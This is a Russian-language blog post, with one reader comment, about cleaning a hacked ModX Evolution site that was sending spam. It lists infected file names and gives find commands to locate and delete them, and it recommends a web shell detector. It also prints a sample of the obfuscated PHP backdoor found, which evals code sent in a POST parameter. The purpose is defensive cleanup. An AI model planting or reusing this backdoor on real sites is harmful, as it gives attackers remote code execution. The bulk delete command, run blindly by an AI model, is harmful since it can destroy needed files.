После очередной атаки на сайты, сделанные в CMS ModX evolution, хостер сказал, что мой сервер стал рассылать спам. Начал проверять – снова полно зараженный файлов.
Популярными именами файлов оказались:
'options.php', 'system.php', 'themes.php', 'page.php', 'footer.php', 'files.php', 'dir.php', 'ini.php', 'session.php', 'inc.php', 'log.php', 'global.php', 'diff.php'
Поскольку все файлы, что я нашел, отсутствовали в базовой поставке Modx, написал SSH-команду для поиска и удаления файлов:
find . -name 'option*.php' -o -name 'system.php' -o -name 'themes.php' -o -name 'page.php' -o -name 'footer.php' -o -name 'files.php' -o -name 'dir*.php' -o -name 'ini.php' -o -name 'session.php' -o -name 'inc.php' -o -name 'log.php' -o -name 'global.php' -o -name 'diff.php' | xargs rm
К сожалению, все зараженные файлы так не удалить. К тому же, можно случайно удалить что-то из используемого системой. Потому этот метод используйте только для удаления уже проверенных файлов! Не забывайте, что файлы тоже могут называться как им хочется. Общее у зараженных файлов – расширение php (это исполняемые скрипты) размер в районе 500 байтов, содержат длинную строку, в начале которой много пробелов. Примерный вид таких файлов:
<?php $afzo4 = "_serpuot"; $hby18 = $afzo4[1].$afzo4[7].$afzo4[3]. $afzo4[7]. $afzo4[6].$afzo4[5]. $afzo4[4]. $afzo4[4]. $afzo4[2].$afzo4[3] ; $ragf65 = $hby18 ($afzo4[0]. $afzo4[4].$afzo4[6].$afzo4[1].$afzo4[7]);if ( isset( ${ $ragf65}['q22ec2b']) ) {eval( ${$ragf65 } [ 'q22ec2b']); } ?>
В начале кода после тэга <?php много-много пробелов. Весь код вытянут в одну строку.
Как видно, сам по себе код вообще ничего особенного не представляет - присваиваются значения каким-то переменным. Но поскольку таких файлов на сервере становится много, то где-то должен быть еще один, который запускает такие файлы. Задача сводится к обнаружению такого файла.
Для поиска зараженных файлов на веб-сервере я использовал утилиту Web Shell Detector (https://github.com/emposha/PHP-Shell-Detector).
Как использовать Web Shell Detector для поиска зараженных файлов:
- Скачайте zip-архив с сайта
- Загрузите в корень вашего сайта файлы shelldetect.db, shelldetect.ini и shelldetect.php
- Откройте в браузере shelldetect.php: http://vash_site/shelldetect.php. В окне логин/пароль введите логин "admin" и пароль "protect". Если не помогает, то в ini файле раскомментируйте строчку ;authentication=false
- Смотрите страницу результатов и анализируйте
Программа анализирует php-скрипты на вашем сервере и выводит результат анализа на экран. Дальше нажимайте гиперссылку line:1 и смотрите, что за фрагмент кода вызвал подозрение у утилиты. Потом заходите в файловую систему и удаляйте.
Зараженные файлы попадают под условия:
- Размер от 100 байт до 1 Кбайт
- Создан 1-2 дня назад (если сервер не давно забыт :)).
Используем команду find консоли Linux для поиска php файлов, измененных за последний день:
find -name '*.php' -size +190c -mtime 0
За 1 день до:
find -name '*.php' -size +190c -mtime 1
После нужно изучить, какие файлы выданы в результате. В результатах точно будут файлы кэша или новые ваши скрипты. Но если увидите что-то непонятное, то откройте найденные файлы в текстовом редакторе и посмотрите на содержимое. Если очевидно, что код не относится к вашему проекту, то удаляйте.
Так можно устранить последствия взлома сайта. Но не причину.
Причина - наличие директорий с правами 777. Это зло, которое нужно исправлять. И тут несколько подходов - системный, программный и комбинированный.
Я решил пока проверить комбинированный. За 4 дня повторного взлома не было.
Доброго времени, интересно было бы почитать статьи по Линукс, для тех, кто в этом совсем ноль. Про разбивку, установку, может какие-нибудь продвинутые книги по Debian, Slax и т.д. про «три топора» 777 и права доступа. В общем, для самых маленьких.
Спасибо
Комментарий by Саша — 22.03.2021 @ 12:32